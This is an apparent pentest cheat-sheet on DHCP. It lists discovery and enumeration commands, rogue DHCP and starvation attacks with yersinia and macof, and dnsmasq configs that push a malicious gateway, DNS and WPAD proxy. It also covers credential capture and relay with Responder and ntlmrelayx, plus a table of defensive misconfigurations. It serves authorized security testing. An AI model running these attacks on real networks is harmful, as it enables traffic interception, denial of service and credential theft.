Skip to main content

DHCP (Dynamic Host Configuration Protocol)

Default Ports: 67/UDP (Server), 68/UDP (Client)

DHCP assigns IP addresses, gateways, DNS servers, domain names, and other network options to clients. In internal pentests, DHCP testing can expose rogue servers, weak network controls, WPAD redirection risk, and useful network configuration.​

Connect

Using dhclient​

dhclient shows the configuration a normal client receives.

sudo dhclient -v eth0
sudo dhclient -r eth0
sudo dhclient -v -I test-client-01 eth0

Using NetworkManager​

NetworkManager shows DHCP values applied to the host.​

nmcli connection show --active
nmcli connection down "Wired connection 1"
nmcli connection up "Wired connection 1"
nmcli device show eth0

Packet Capture​

Packet capture is the safest way to observe DHCP offers.​

sudo tcpdump -ni eth0 'udp and (port 67 or port 68)'
sudo tcpdump -ni eth0 -w dhcp.pcap 'udp and (port 67 or port 68)'

Recon

DHCP Discovery​

Broadcast discovery identifies DHCP servers on the local VLAN.​

sudo nmap --script broadcast-dhcp-discover -e eth0
sudo nmap --script broadcast-dhcp-discover --packet-trace -e eth0

Identify DHCP Servers​

Look for unexpected server identifiers or multiple offers.​

sudo tcpdump -ni eth0 -vvv 'udp and (port 67 or port 68)'

# Interesting options:
# 53 DHCP Message Type
# 54 Server Identifier
# 3 Router
# 6 DNS Server
# 15 Domain Name
# 252 WPAD

Lease Review​

Lease files reveal accepted DHCP options.​

cat /var/lib/dhcp/dhclient.leases
grep -Ei 'routers|domain-name|domain-name-servers|ntp|wpad' /var/lib/dhcp/dhclient.leases

Enumeration

DHCP Options​

Enumerate assigned network options for DNS, gateway, domain, NTP, PXE, and WPAD.​

sudo nmap --script broadcast-dhcp-discover -e eth0
nmcli device show eth0 | grep -Ei 'IP4.DNS|IP4.GATEWAY|DOMAIN|DHCP'

WPAD Enumeration​

DHCP option 252 may point clients to proxy auto-config files.​

sudo tcpdump -ni eth0 -vvv 'udp and (port 67 or port 68)' | grep -i wpad
curl -I http://wpad/wpad.dat

PXE Enumeration​

PXE options may reveal boot servers and deployment infrastructure.​

sudo tcpdump -ni eth0 -vvv 'udp and (port 67 or port 68)' | grep -Ei 'tftp|boot|pxe|next-server'

Attack Vectors

Rogue DHCP Server​

A rogue server can provide malicious gateway, DNS, or WPAD settings.

sudo yersinia -G
sudo bettercap -iface eth0

DHCP Starvation​

Starvation exhausts the address pool and can force clients toward rogue services.​

sudo yersinia dhcp -attack 1
sudo macof -i eth0

Malicious DNS or Gateway​

Changing DNS or router options can redirect client traffic.​

# Example dnsmasq test configuration
interface=eth0
dhcp-range=192.168.56.100,192.168.56.200,12h
dhcp-option=3,192.168.56.1
dhcp-option=6,192.168.56.1

WPAD Redirection​

WPAD can redirect HTTP proxy discovery to attacker-controlled infrastructure.​

# dnsmasq DHCP option 252
dhcp-option=252,http://192.168.56.1/wpad.dat

Post-Exploitation

Network Mapping​

DHCP options help map network infrastructure.​

grep -Ei 'routers|domain-name|domain-name-servers|ntp|wpad|next-server' /var/lib/dhcp/dhclient.leases

Credential Capture Review​

WPAD and DNS redirection tests may trigger proxy authentication attempts.​

sudo responder -I eth0 -w -F
sudo ntlmrelayx.py -tf targets.txt -smb2support

Using Tools

ToolPurpose
tcpdumpCapture and analyze DHCP packets on the network.
nmapPerform broadcast DHCP discovery and identify DHCP servers.
dhclientRequest, renew, and test DHCP lease assignments from a DHCP server.
nmcliView and manage DHCP-assigned network settings on Linux systems.
yersiniaTest DHCP security by simulating attacks such as DHCP starvation and rogue DHCP.
dnsmasqCreate a controlled rogue DHCP server for security testing in a lab environment.
ResponderCapture WPAD/LLMNR/NBT-NS authentication requests to demonstrate credential exposure in authorized environments.

Security Misconfigurations

MisconfigurationRisk
No DHCP snoopingRogue DHCP servers can distribute malicious network settings to clients.
Multiple unexpected DHCP serversClients may receive incorrect IP, gateway, or DNS settings, enabling traffic interception or redirection.
WPAD option enabled broadlyAutomatic proxy discovery can be abused to capture authentication credentials or intercept web traffic.
Untrusted DNS via DHCPMalicious DNS servers can redirect users to phishing sites or manipulate DNS responses.
PXE options exposedReveals network boot infrastructure, assisting attackers in reconnaissance or unauthorized boot attempts.
No port securityEnables DHCP starvation attacks by allowing excessive fake DHCP requests, potentially causing denial of service and facilitating rogue DHCP deployment.